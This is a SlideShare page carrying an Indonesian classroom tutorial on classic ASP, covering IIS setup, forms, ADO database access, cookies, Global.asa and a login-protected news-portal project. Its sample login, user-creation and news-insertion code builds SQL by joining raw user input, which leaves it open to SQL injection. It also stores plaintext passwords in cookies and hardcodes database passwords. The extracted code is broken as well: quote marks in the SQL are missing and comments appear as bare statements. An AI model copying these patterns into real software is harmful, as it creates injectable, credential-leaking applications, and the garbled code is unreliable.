Introduction to asp

2,914 views
2,847 views

Published on

Published in: Education
0 Comments
2 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
2,914
On SlideShare
0
From Embeds
0
Number of Embeds
19
Actions
Shares
0
Downloads
119
Comments
0
Likes
2
Embeds 0
No embeds

No notes for slide

Introduction to asp

  1. 1. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.Introduction to ASPSuatu ASP file dapat mengandung text, , HTML tags dan scripts. Scripts dalam suatu fileASP akan dijalankan pada sisi server.Berbeda dengan JavaScript ataupun VBScript yang merupakan script yang dijalankanpada sisi client dimana source code halaman tidak dapat disembunyikan dari user padasaat user menggunakan fasilitas view Source.Script ASP akan diproses diserver, dan kemudian hasil server akan dikirim ke browserclient dalam bentuk response, dan kemudian kalau user melakukan view Source, makayang nampak adalah HTML maupun script yang merupakan hasil proses, jadi ASP Scriptyang sebenarnya tetap tersembunyi dari user.What you should already knowSebelum anda mulai belajar, anda perlu memiliki pengetahuan : WWW, HTML dan dasar pengembangan Web pages Bahasa scripting VBScript dan Visual Basic.Pembelajaran ASP tidak terlepas dari penguasaan terhadap HTML, karena semuaresponse yang akan dikirim dari sisi server ke sisi client (browser) harus ditampilkandalam bentuk struktur HTML.<html> <head> </head> <body> </body></html>Jadi anda harus menguasai dasar dari HTML, pembuatan tabel, form, link dll. Jadi saransaya kalau anda belum mengerti HTML, sebaiknya mempelajarinya terlebih dahulu.Kemudian ASP menggunakan dialek VBScript dan VB, dimana jika anda telahmenguasai VB, maka proses pembelajaran ASP script akan lebih mudah.What is ASP? • ASP singkatan dari Active Server PagesIndoprog 1
  2. 2. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST. • ASP adalah suatu program yang berjalan didalam IIS • IIS singkatan dari Internet Information Services • IIS merupakan free component pada Windows 2000 dan XP • IIS merupakan bagian dari Windows NT 4.0 Option Pack • PWS merupakan versi IIS yang lebih kecil. • PWS dapat ditemukan pada Windows 95/98 CDASP Compatibility • ASP merupakan Technology Microsoft • Untuk menjalankan IIS anda harus memiliki Windows NT 4.0 atau yang lebih • Untuk menjalankan PWS anda harus memiliki Windows 95 atau lebih • ChiliASP adalah teknologi yang menjalankan ASP tanpa Windows OS • InstantASP adalah teknologi lain yang menjalankan ASP tanpa WindowsWhat is an ASP File? • Suatu file ASP pada dasarnya sama seperti suatu HTML file • Suatu file ASP dapat mengandung text, HTML, XML, dan scripts • Scripts dalam suatu file ASP dijalankan pada sisi Server • Suatu file ASP memiliki ekstension ".asp"How Does ASP Differ from HTML? • Ketika browser meminta suatu HTML file, server akan mengirim file tersebut. • Ketika browser meminta suatu ASP file, IIS mengirim permintaan tersebut ke ASP engine. ASP engine membaca ASP file, baris per baris, dan menjalankan script dalam file tersebut, hasil eksekusi tersebut dikirim ke browser.What can ASP do for you? • Mengatur tampilan web page secara dinamis • Melakukan respon terhadap permintaan dan data yang dikirim oleh user.melalui form. • Mengakses data atau database dan mengirim hasilnya ke browser • Mengatur tampilan Web page yang lebih sesuai dengan individu • Kelebihan ASP dari CGI dan Perl adalah lebih sederhana dan cepat. • Lebih aman karena kode ASP tidak dapat ditampilkan oleh browser • Hasil file ASP dapat ditampilkan oleh browser manapun. • Menurunkan trafik network.How to install IIS and run ASP on Windows 2000 1. From your Start Button, go to Settings, and Control PanelIndoprog 2
  3. 3. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST. 2. In the Control Panel window select Add/Remove Programs 3. In the Add/Remove window select Add/Remove Windows Components 4. In the Wizard window check Internet Information Services, click OK 5. An Inetpub folder will be created on your harddrive 6. Open the Inetpub folder, and find a folder named wwwroot 7. Create a new folder, like "MyWeb", under wwwroot. 8. Use a text editor to write some ASP code, save the file as "test1.asp" in the "MyWeb" folder 9. Make sure your Web server is running - The installation program has added a new icon on your task bar (this is the IIS symbol). Click on the icon and press the Start button in the window that appears. 10. Open your browser and type in "http://localhost/MyWeb/test1.asp", to view your first ASP pageHow to install IIS and run ASP on Windows XP ProfessionalNote: You cannot run ASP on Windows XP Home Edition. 1. Insert the Windows XP Professional CD-Rom into your CD-Rom Drive 2. From your Start Button, go to Settings, and Control Panel 3. In the Control Panel window select Add/Remove Programs 4. In the Add/Remove window select Add/Remove Windows Components 5. In the Wizard window check Internet Information Services, click OKIndoprog 3
  4. 4. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST. 6. An Inetpub folder will be created on your harddrive 7. Open the Inetpub folder, and find a folder named wwwroot 8. Create a new folder, like "MyWeb", under wwwroot. 9. Use a text editor to write some ASP code, save the file as "test1.asp" in the "MyWeb" folder 10. Make sure your Web server is running - The installation program has added a new icon on your task bar (this is the IIS symbol). Click on the icon and press the Start button in the window that appears. 11. Open your browser and type in "http://localhost/MyWeb/test1.asp", to view your first ASP pageHalaman ASP anda yang pertama ... Step by Step1. Ketik file berikut dengan notepad<HTML><HEAD> <TITLE>Halaman ASP saya yang pertama</TITLE></HEAD><BODY><%Response.Write("Hello World...")%></BODY></HTML>2. Simpan file sebagai test1.asp pada folder c:InetpubwwwrootMyWebtest1.asp3. Untuk menampilkannya aktifkan browser anda dan ketikhttp://localhost/MyWeb/test1.asp4. Anda telah melakukannya! Selamat untuk halaman web ASP anda yang pertama.The Basic Syntax RuleSuatu ASP file normalnya mengandung HTML tags, sama seperti file HTML, dan dapatmengandung server scripts, yang dibuka dengan tanda <% dan ditutup dengan %>.Server scripts akan dijalankan pada server, dan dapat mengandung ekspresi, perintah,procedure, atau operatir yang sah pada vbscript.Tata Cara Penulisan ASPSuatu Active Server Pages terdiri dari elemen-elemen berikut :- Tag-tag HTML- ScriptIndoprog 4
  5. 5. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.- TextUntuk menandai script dari HTML, gunakan tanda baca <% dan %>. Tag-tag danketentuan HTMLnya tidak berubah, sebagai contohnya perhatikan baris berikut ini :<% For x=1 to 5 %>berfungsi memulai suatu perulangan VBScript For Next. Tanda baca <% dan %>memberitahukan kepada IIS bahwa baris tersebut adalah script dan bukan suatu HTML.Berikut ini menunjukkan suatu gabungan antara HTML dengan script:<HTML><HEAD> <TITLE>Menandai ASP Script dari HTML</TITLE></HEAD><BODY>Waktu Sekarang adalah <%=Now()%></BODY></HTML>Tag-tag seperti <HEAD, dan <BODY> dikirim kembali ke browser bersama dengantulisan Waktu sekarang adalah :. Tulisan <%=Now%> tidak dikirim kembali ke browser,karena diapit oleh tanda baca <% dan %>. Tanda sama dengan (=) menentukan bahwaoutput harus dikirim ke browser. Dalam hal ini fungsi now pada VBScript akanmengembalikan waktu sekarang, dan waktu sekarang tersebut akan dikirim kembali kebrowser.Anda dapat juga melakukan hal seperti berikut ini:<HTML><HEAD> <TITLE>Menandai ASP Script dari HTML</TITLE></HEAD><BODY><% FOR I = 1 TO 5 %> Selamat Belajar ASP<% NEXT%></BODY></HTML>script juga dapat diberi jarak baris, seperti contoh berikut ini:<HTML><HEAD> <TITLE>Menandai ASP Script dari HTML</TITLE></HEAD><BODY><%iNum = 15If iNum > 10 Then strMsg = "Selamat Petang"ElseIndoprog 5
  6. 6. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST. StrMsg = "Selamat Pagi"EndResponse.write(StrMsg) `Dikirim ke browser%></BODY></HTML>The Response ObjectMetoda Write pada Response Object digunakan untuk mengirim isi ke browser, lihathalaman asp anda yang pertama.User InputObject Request dapat digunakan untuk menerima informasi dari user melalui form, ketikscript berikut ke testform1.asp:<html><head></head><body><form method="get" action="testterima1.asp">Nama: <input type="text" name="nama"><br />Umur: <input type="text" name="umur"><br /><br /><input type="submit" value="Submit"></form></body></html>Request.QueryStringPerintah Request.QueryString digunakan untuk mengumpulkan informasi dari suatu formyang di submit dengan method="get", ketik script berikut ke testterima1.asp<html><head></head><body>Selamat pagi<%response.write("nama :" & request.querystring("nama"))response.write("umur :" & request.querystring("umur"))%></body></html>Indoprog 6
  7. 7. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.Jalankan testform1.asp, ketik Hendra Soewarno, dan umur 30, klik submit.Request.FormPerintah Request.Form digunakan untuk mengumpulkan data dari suatu form yangdisubmit user dengan menggunakan method="post", ketik script berikut ke testform2.asp<html><head></head><body><form method="post" action="testterima2.asp">Nama: <input type="text" name="nama"><br />Umur: <input type="text" name="umur"><br /><br /><input type="submit" value="Submit"></form></body>dan ketik script berikut ke testterima2.asp<html><head></head><body>Selamat pagi<%response.write("nama : " & request.form("nama"))response.write("umur :" & request.form ("umur"))%></body></html>Diskusi :Diskusikan dengan instruktur anda tentang perbedaan metode Get dan Post, dankeunggulan serta kelemahan.Salah satu keunggulan pemakaian metode Post, adalah request yang kita kirim ke Servertidak tercantum pada URL browser kita yang dapat berimplikasi pada masalah security,dimana user dapat mempelajari bagaimana program kita melakukan request dan responseyang dihasilkan.Indoprog 7
  8. 8. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.Simple database Access using ADO and ASPBuatlah database access (c:InetpubwwwrootMyWebdbotest1.mdb) dan table test1dengan struktur berikut :Nama Text 30Umur IntegerProteksi database anda dengan password “123456”The ConnectionLangkah awal untuk mengakses database adalah membuka koneksi ke sumber data,dalam hal ini kita akan menggunakan ADO Connection object.Const adModeReadWrite = 3Dim Connection Dim ConnectionStringSet Connection = Server.CreateObject("ADODB.Connection")Connection.ConnectionTimeout = 30Connection.CommandTimeout = 80Connection.Mode = adModeReadWriteConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & _ Server.MapPath("dbo/test1.mdb") & _ ";Jet OLEDB:Database Password=123456"Connection.Open ConnectionStringUpdate Using SQL StatementDim SSQLDim Affectednama = request.querystring("nama")umur = request.querystring("umur")SSQL = "Insert Into test1 (nama,umur) values (" & nama & "," & umur &");"Connection.Execute SSQL,AffectedIf Affected > 0 Then Response.write ("Sukses")Else Response.write ("Gagal")End IfClose ConnectionPada akhir script anda yang membuka koneksi perlu dilakukan penutupan dengan metodaClose.Connection.CloseSet Connection = NothingIndoprog 8
  9. 9. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.Show Table Records Using RecordsetProses akses database yang biasanya dilakukan adalah proses pengambilan data dari tabledalam database.Const adOpenForwardOnly = 0Const adLockOptimistic = 3Dim rsset rs = Server.CreateObject("ADODB.RecordSet")rs.Open "SELECT * FROM Test1", Connection, adOpenForwardOnly,adLockOptimisticDim itemFor each item in rs.Fields Response.Write item.Name & "<br>"next This will list each field in each recordDo While not rs.EOF For each item in rs.Fields Response.Write item.Value & "<br>" Next Rs.MoveNextLoopAnda dapat juga mengambil isi recordset dengan rs("namafield")Close RecordsetSelalu untuk ingat menutup recordset setelah selesai menggunakannya.rs.Closeset rs = nothingDelete RecordDengan petunjuk instruktur buatlah proses hapus record.Trouble ShootingJika pada proses update data dengan perintah INSERT INTO ataupun UPDATE danDELETE, anda mendapatkan pesan kesalahan Operation must use updateable query.Penyebab dari masalah ini karena permission untuk User IUSR_<machine name> tidakdiset untuk folder dimana file .mdb anda berada :Pada folder .mdb berada, lakukan klik kanan, pilih “Properties”, “Security”, jika tab“Security” tidak muncul, gunakan menu “Tools”, “Golder Options”, dan hilangkan checkpada "Simple File sharing")Indoprog 9
  10. 10. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.The #include DirectiveAnda dapat menyisipkan isi dari suatu asp file ke file asp yang lain sebelum dieksekusioleh server, untuk melakukan hal tersebut anda dapat menggunakan direktif #includeHow to Use the #include DirectiveBerikut ini adalah "mylib.asp":<%Const adModeReadWrite = 3Const adOpenForwardOnly = 0Const adLockOptimistic = 3Dim ConnectionDim ConnectionStringDim AffectedDim SSQLDim UsernameDim Passwordsub bukakoneksi()Set Connection = Server.CreateObject("ADODB.Connection")Connection.ConnectionTimeout = 30Connection.CommandTimeout = 80Connection.Mode = adModeReadWriteConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & _ Server.MapPath("dbo/test1.mdb") & _ ";Jet OLEDB:Database Password=indoprog"Connection.Open ConnectionStringend subfunction periksalogin()Username = Request.Cookies("Username")Password = Request.Cookies("Password")Dim rsset rs = Server.CreateObject("ADODB.RecordSet")SSQL = "Select count(*) as Ada From Operator Where Username=" &Username & " And Password=" & Password & ";"rs.Open sSQL,Connection,adOpenForwardOnly,adLockOptimisticperiksalogin = rs("Ada")rs.closeend functionsub tutupkoneksi()Indoprog 10
  11. 11. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.Connection.Closeset Connection = nothingend sub%>Bukalah kembali database Test1.mdb dan Tambahkan table Operator :Username Text 30Password Text 30Lasttime DateTimeRancanglah form login berikut dan simpan ke index.asp: Please Login Username Password Submit ResetDengan menggunakan frontpage, yang akan mengirim Username dan Password secarametode post ke login.asp.Maka kita dapat menyisipkan “Mylib.asp” jika dibutuhkan sub bukakoneksi dantutupkoneksi.Ketik program berikut ke login.asp.<!--#include file="mylib.asp"--><%Dim UsernameDim PasswordDim AffectedUsername = Request.Form("Username")Password = Request.Form("Password")Call BukaKoneksi()SSQL = "Update Operator Set Lasttime = " & Now & " Where Username="& Username & " And Password = " & Password & ";"Connection.Execute SSQL, Affected%><html><head><title>Menu utama</title></head><body><% If Affected = 0 Then %>Indoprog 11
  12. 12. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.<p>Invalid Username or Password</p><% Else Response.Cookies("username") = Username Response.Cookies("username").expires = DateAdd("s",360,now) Response.Cookies("password") = Password Response.Cookies("username").expires = DateAdd("s",360,now)%><p>Tambah User</p><p>Perbaiki User</p><p>Hapus User</p><p>Tampil User</p><p>Keluar</p><% End If %></body></html><%Call TutupKoneksi()%>Indoprog 12
  13. 13. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.What is a Cookie?Cookie sering digunakan untuk mengindentifikasi user. Sebuah cookie adalah file kecilyang ditanamkan pada computer user. Setiap kali computer yang sama melakukanpermintaan terhadap suatu halaman dengan browser, akan mengirim cookie tersebut juga.How to Create a CookiePerintah "Response.Cookies" digunakan untuk membuat cookie.Catatan: Perintah Response.Cookies harus ditempatkan sebelum tag <html>.Pada contoh berikut, kita akan membuat sebuah cookie dengan nama "username" danmemberikan nilai sesuai dengan isi variable username kepadanya :<% Response.Cookies("username") = Username%>Anda dapat juga memberikan suatu setting expire terhadap cookie dengan penulisan:<% Response.Cookies("username") = Username Response.Cookies("username").expires = DateAdd("s",360,now)%>How to Retrieve a Cookie ValuePerintah "Request.Cookies" digunakan untuk mengambil nilai dari suatu cookie.Pada contoh berikut, kita akan menerima nilai dari cookie yang bernama "username" dan“password “.<%Username = Request.Cookies("Username") Password =Request.Cookies("Password")%>Program AddLogin.asp New Login UsernameIndoprog 13
  14. 14. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST. Password Retype Submit Reset<!--#include file="mylib.asp"--><%Dim IdCall BukaKoneksi()If periksalogin() = 0 then Response.Redirect("index.asp")End IfId = Request.QueryString("Id")%><html><head><title>New Login</title></head><body><center><% if Id = "" Then %><form method="POST" action="addlogin.asp?Id=1"> <table border="1" cellspacing="0" style="border-collapse: collapse"bordercolor="#111111" width="300" id="AutoNumber1"> <tr> <td width="100%" colspan="2"> <p align="left">New Login</td> </tr> <tr> <td width="50%"> <p align="left">Username</td> <td width="50%"> <p align="left"><input type="text" name="NewUsername"size="20"></td> </tr> <tr> <td width="50%"> <p align="left">Password</td> <td width="50%"> <p align="left"><input type="password" name="NewPassword"size="20"></td> </tr> <tr> <td width="50%">Indoprog 14
  15. 15. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST. <p align="left">Retype</td> <td width="50%"> <p align="left"><input type="password" name="NewRetype"size="20"></td> </tr> <tr> <td width="50%"> <p align="left">&nbsp;</td> <td width="50%"> <p align="left"><input type="submit" value="Submit"name="B1"><input type="reset" value="Reset" name="B2"></td> </tr> </table></form><%Else Dim NewUsername Dim NewPassword Dim NewRetype NewUsername = Request.form("NewUsername") NewPassword = Request.form("NewPassword") NewRetype = Request.form("NewRetype") If NewPassword <> NewRetype Then response.write("Password and Retype not match !") Else SSQL = "Insert Into Operator (Username, [Password]) Values (" &NewUsername & "," & NewPassword & ");" Connection.Execute SSQL, Affected If Affected > 0 Then Response.write ("Sukses") Else Response.write ("Gagal") End If End IfEnd If %></center></body></html><%Call TutupKoneksi()%>Indoprog 15
  16. 16. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.ASP The Global.asa fileGlobal.asa file merupakan suatu file optional yang mengandung deklarasi objek, variable,dan metoda yang dapat diakses oleh semua aplikasi ASP.The Global.asa fileFile Global.asa dapat mengandung informasi berikut: • Application events • Session events • <object> declarationsNote: File Global.asa harus disimpan pada root directory aplikasi ASP, dan setiapaplikasi hanya dapat memiliki satu file Global.asa.Events in Global.asaPada Global.asa anda dapat memberitahukan kepada aplikasi/session kapan untukmemulai dan kapan harus berakhir.Application_OnStart – Event ini terjadi ketika pemakai pertama membuka halamanaplikasi ASP.Session_OnStart – Event ini terjadi setiap kali seorang user baru membuka halamanyang pertama suatu aplikasi ASP.Session_OnEnd – Event ini terjadi setelah user mengakhiri suatu session, atau user tidakmelakukan request untuk jangka waktu 20 menit.Application_OnEnd – Event ini terjadi ketika Web server di stop.Suatu file Global.asa dapat ditulis sebagai berikut:<script language="vbscript" runat="server">Sub Application_OnStart Const adModeReadWrite = 3 Const adOpenForwardOnly = 0Indoprog 16
  17. 17. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST. Const adLockOptimistic = 3 Dim Connection Dim ConnectionString Set Connection = Server.Createobject("ADODB.Connection") Connection.ConnectionTimeout = 30 Connection.CommandTimeout = 80 Connection.Mode = adModeReadWrite ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source="& _ Server.MapPath("dbo/test1.mdb") & _ ";Jet OLEDB:Database Password=indoprog" Connection.Open ConnectionString Set Application("Connection") = ConnectionEnd SubSub Session_OnStart Application("Connection").Execute "Update Visitor SetVisitor=Visitor+1;" Session.TimeOut = 5End SubSub Application_OnEnd Application("connection").closeEnd Sub</script>Note: Kita tidak dapat menggunakan script ASP (<% and %>) pada Global.asa file.Bukalah file test.mdb anda dan tambahkan sebuah table visitor, yang berisi sebuah fieldvisitor.Contoh modifikasi dengan menggunakan variable level Application dan Session pada filelogin.asp :<%Session("Username") = ""Session("Password") = ""%><html><head><title>Please Login</title></head><body><form method="POST" action="login.asp"> <center> Please Login <table border="1" cellspacing="0" width="300"> <tr>Indoprog 17
  18. 18. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST. <td width="50%">Username</td> <td width="50%"><input type="text" name="username"size="20"></td> </tr> <tr> <td width="50%">Password</td> <td width="50%"><input type="password" name="password"size="20"></td> </tr> <tr> <td width="50%">&nbsp;</td> <td width="50%"><input type="submit" value="Submit"name="B1"><input type="reset" value="Reset" name="B2"></td> </tr> </table> Jumlah Visitor Sekarang = <% =Application("Visitors") %> </center> </div></form></body></html>Hasil modifikasi pada "mylib.asp":<%Const adOpenForwardOnly = 0Const adLockOptimistic = 3Dim AffectedDim SSQLDim UsernameDim Passwordfunction periksalogin()Username = Session("Username")Password = Session("Password")Dim rsset rs = Server.CreateObject("ADODB.RecordSet")SSQL = "Select count(*) as Ada From Operator Where Username=" &Username & " And Password=" & Password & ";"rs.OpensSQL,Application("Connection"),adOpenForwardOnly,adLockOptimisticperiksalogin = rs("Ada")rs.closeend function%>Indoprog 18
  19. 19. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.Hasil modifikasi pada “login.asp” :<!--#include file="mylib.asp"--><%Username = Request.Form("Username")Password = Request.Form("Password")SSQL = "Update Operator Set Lasttime = " & Now & " Where Username="& Username & " And Password = " & Password & ";"Application("Connection").Execute SSQL, Affected%><html><head><meta http-equiv="Content-Language" content="en-us"><meta name="GENERATOR" content="Microsoft FrontPage 5.0"><meta name="ProgId" content="FrontPage.Editor.Document"><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>New Page 1</title></head><body><% If Affected = 0 Then %><p>Invalid Username or Password</p><% Else Session("Username") = Username Session("Password") = Password%><p><a href="addlogin.asp">Tambah User</a></p><p>Perbaiki User</p><p>Hapus User</p><p>Tampil User</p><p>Keluar</p><% End If %></body></html>Coba anda lakukan modifikasi file "addlogin.asp".<%Session.Abandon%><html><head><title>Sampai Jumpa</title></head><body>Indoprog 19
  20. 20. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST. <center> Sampai Jumpa. <br> Jumlah Visitor Sekarang = <% =Application("Visitors") %> </center></body></html>Proyek :Membuat Portal BeritaDengan petunjuk instruktur anda buatlah homepage untuk portal berita dengankemampuan sebagai berikut : 1. Berita di simpan dalam suatu database file 2. Berita di isi dari web page yang telah diproteksi dengan username dan password 3. Berita ditampilkan jika sudah di approve.Indoprog 20
  21. 21. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.Project Portal BeritaTambahkan sebuah table dengan nama berita dengan struktur sebagai berikut :Judul text 50Ringkasan text 255Isi memoWaktu date/timeUsername text 20Status text 1Id AutonumberPrimary Key IdPerbaiki table operator, dengan menambah sebuah field Level.global.asa<script language="vbscript" runat="server">Sub Application_OnStart Const adModeReadWrite = 3 Const adOpenForwardOnly = 0 Const adLockOptimistic = 3 Dim Connection Dim ConnectionString Set Connection = Server.Createobject("ADODB.Connection") Connection.ConnectionTimeout = 30 Connection.CommandTimeout = 80 Connection.Mode = adModeReadWrite ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source="& _ Server.MapPath("dbo/test1.mdb") & _ ";Jet OLEDB:Database Password=indoprog" Connection.Open ConnectionString Set Application("Connection") = Connection Application("visitors")=0End SubSub Session_OnStart Application("Connection").Execute "Update Visitor SetVisitor=Visitor+1;" Application.Lock Application("visitors")=Application("visitors")+1 Application.UnLock Session.TimeOut = 5End SubSub Session_OnEnd Application.LockIndoprog 21
  22. 22. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST. Application("visitors")=Application("visitors")-1 Application.UnLockEnd SubSub Application_OnEnd Application("connection").closeEnd Sub</script>mylib.asp<%Const adModeReadWrite = 3Const adOpenForwardOnly = 0Const adLockOptimistic = 3Global variabelDim AffectedDim SSQLDim UsernameDim PasswordDim Levelfunction periksalogin()Username = Session("Username")Password = Session("Password")Dim rsset rs = Server.CreateObject("ADODB.RecordSet")SSQL = "Select count(*) as Ada From Operator Where Username=" &Username & " And Password=" & Password & ";"rs.OpensSQL,Application("Connection"),adOpenForwardOnly,adLockOptimisticperiksalogin = rs("Ada")rs.closeend function%>index.asp<%Session("Username") = ""Session("Password") = ""Session("Level") = ""%><html>Indoprog 22
  23. 23. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.<head><title>Please Login</title></head><body><form method="POST" action="login.asp"> <center> Please Login <table border="1" cellspacing="0" width="300"> <tr> <td width="50%">Username</td> <td width="50%"><input type="text" name="username"size="20"></td> </tr> <tr> <td width="50%">Password</td> <td width="50%"><input type="password" name="password"size="20"></td> </tr> <tr> <td width="50%">&nbsp;</td> <td width="50%"><input type="submit" value="Submit"name="B1"><input type="reset" value="Reset" name="B2"></td> </tr> </table> Jumlah Visitor Sekarang = <% =Application("Visitors") %> </center> </div></form></body></html>login.asp<!--#include file="mylib.asp"--><%Username = Request.Form("Username")Password = Request.Form("Password")SSQL = "Update Operator Set Lasttime = " & Now & " Where Username="& Username & " And Password = " & Password & ";"Application("Connection").Execute SSQL, Affected%><html><head><title>Login status</title></head>Indoprog 23
  24. 24. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.<body><%If Affected = 0 Then%><p>Invalid Username or Password</p><%Else Session("Username") = Username Session("Password") = Password Ambil level operator Dim rs set rs = Server.CreateObject("ADODB.RecordSet") SSQL = "Select [Level] From Operator Where Username=" & Username &" And Password=" & Password & ";" rs.OpensSQL,Application("Connection"),adOpenForwardOnly,adLockOptimistic Level = rs("Level") rs.close Session("Username") = Username Session("Password") = Password Session("Level") = Level If Level = "R" Then%> <p><a href="listberita.asp">Tampil Berita</a></p> <p><a href="addlogin.asp">Tambah User</a></p> <p>Perbaiki User</p> <p>Hapus User</p> <p>Tampil User</p> <p><a href="logout.asp">Keluar</a></p><% Else Response.Redirect("listberita.asp") End IfEnd If %></body></html>addlogin.asp<!--#include file="mylib.asp"--><%Dim IdIf periksalogin() = 0 or Session("Level") <> "R" then Response.Redirect("index.asp")End IfIndoprog 24
  25. 25. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.Id = Request.QueryString("Id")%><html><head><title>New Login</title></head><body><center><% if Id = "" Then %><form method="POST" action="addlogin.asp?Id=1"> <table border="1" width="300"> <tr> <td width="100%" colspan="2"> <p align="center">New Login</td> </tr> <tr> <td width="50%"> <p align="left">Username</td> <td width="50%"> <p align="left"><input type="text" name="NewUsername"size="20"></td> </tr> <tr> <td width="50%"> <p align="left">Password</td> <td width="50%"> <p align="left"><input type="password" name="NewPassword"size="20"></td> </tr> <tr> <td width="50%"> <p align="left">Retype</td> <td width="50%"> <p align="left"><input type="password" name="NewRetype"size="20"></td> </tr> <tr> <td width="50%"> <p align="left">Level</td> <td width="50%"> <p align="left"><input type="text" name="NewLevel" size="1"></td> </tr> <tr> <td width="50%"> <p align="left">&nbsp;</td> <td width="50%"> <p align="left"><input type="submit" value="Submit"name="B1"><input type="reset" value="Reset" name="B2"></td> </tr> </table>Indoprog 25
  26. 26. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.</form><%Else Dim NewUsername Dim NewPassword Dim NewRetype Dim NewLevel NewUsername = Request.form("NewUsername") NewPassword = Request.form("NewPassword") NewRetype = Request.form("NewRetype") NewLevel = Request.form("NewLevel") If NewPassword <> NewRetype Then response.write("Password and Retype not match !") Else SSQL = "Insert Into Operator (Username, [Password],[Level])Values (" & NewUsername & "," & NewPassword & "," & NewLevel &");" Application("Connection").Execute SSQL, Affected If Affected > 0 Then Response.write ("Sukses") Else Response.write ("Gagal") End If End IfEnd If %></center></body></html>logout.asp<%Session.Abandon%><html><head><title>Sampai Jumpa</title></head><body> <center> Sampai Jumpa. <br> Jumlah Visitor Sekarang = <% =Application("Visitors") %> </center>Indoprog 26
  27. 27. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.</body></html>listberita.asp<!--#include file="mylib.asp"--><%Dim IdIf periksalogin() = 0 then Response.Redirect("index.asp")End IfId = Request.QueryString("Id")%><html><head><title>List Berita</title></head><%Dim rsset rs = Server.CreateObject("ADODB.RecordSet")If Session("Level") = "R" Then SSQL = "Select * From Berita Where Status=N Order By Waktu DESC;"Else SSQL = "Select * From Berita Where Username=" & Username & " AndStatus=N Order By Waktu DESC;"End Ifrs.OpensSQL,Application("Connection"),adOpenForwardOnly,adLockOptimistic%><table border="1" width="620"><tr><td>ID</td><td>JUDUL</td><td>WAKTU</td><td>Username</td><td>ACTION</td></tr><%Do while not rs.eof If Session("Level") = "R" Then%> <td><% =rs("ID") %>&nbsp;</td><td><% =rs("JUDUL")%>&nbsp;</td><td><% =rs("WAKTU") %>&nbsp;</td> <td><% =rs("USERNAME") %>&nbsp;</td> <td>Indoprog 27
  28. 28. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST. <a href="viewberita.asp?idberita=<% =rs("ID") %>" >View</a>, <a href="approveberita.asp?idberita=<% =rs("ID") %>">Approve</a>, Reject </td><% Else%> <td><% =rs("ID") %>&nbsp;</td><td><% =rs("JUDUL")%>&nbsp;</td><td><% =rs("WAKTU") %>&nbsp;</td> <td><% =rs("USERNAME") %>&nbsp;</td> <td> <a href="viewberita.asp?idberita=<% =rs("ID") %>" >View</a>, <a href="editberita.asp?idberita=<% =rs("ID") %>" >Edit</a>, Delete </td><% End If rs.movenextLoop%></table><body><center><p></p></center></body></html>addberita<!--#include file="mylib.asp"--><%Dim IdIf periksalogin() = 0 then Response.Redirect("index.asp")End IfId = Request.QueryString("Id")%><html><head><title>New Berita</title></head><body><center>Indoprog 28
  29. 29. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.<% if Id = "" Then %><form method="POST" action="addberita.asp?Id=1"> <table border="1" width="300"> <tr> <td width="100%" colspan="2"> <p align="center">New Berita</td> </tr> <tr> <td width="50%"> <p align="left">Judul</td> <td width="50%"> <p align="left"><input type="text" name="NewJudul"size="50"></td> </tr> <tr> <td width="50%"> <p align="left">Ringkasan</td> <td width="50%"> <p align="left"><textarea rows="4" name="NewRingkasan"cols="50"></textarea></td> </tr> <tr> <td width="50%"> <p align="left">Isi</td> <td width="50%"> <p align="left"><textarea rows="50" name="NewIsi"cols="50"></textarea></td> </tr> <td width="50%"> <p align="left">&nbsp;</td> <td width="50%"> <p align="left"><input type="submit" value="Submit"name="B1"><input type="reset" value="Reset" name="B2"></td> </tr> </table></form><%Else Dim NewJudul Dim NewRingkasan Dim NewIsi NewJudul = Request.form("NewJudul") NewRingkasan= Request.form("NewRingkasan") NewIsi = Request.form("NewIsi") If NewJudul = "" or NewRingkasan = "" or NewIsi = "" Then response.write("Judul atau Ringkasan atau Isi tidak boleh kosong!") Else SSQL = "Insert Into Berita (Judul,Ringkasan,Isi,Waktu,Username,Status) Values (" & NewJudul & "," &NewRingkasan & "," & NewIsi & "," & Now & "," &Session("Username") & ",N);"Indoprog 29
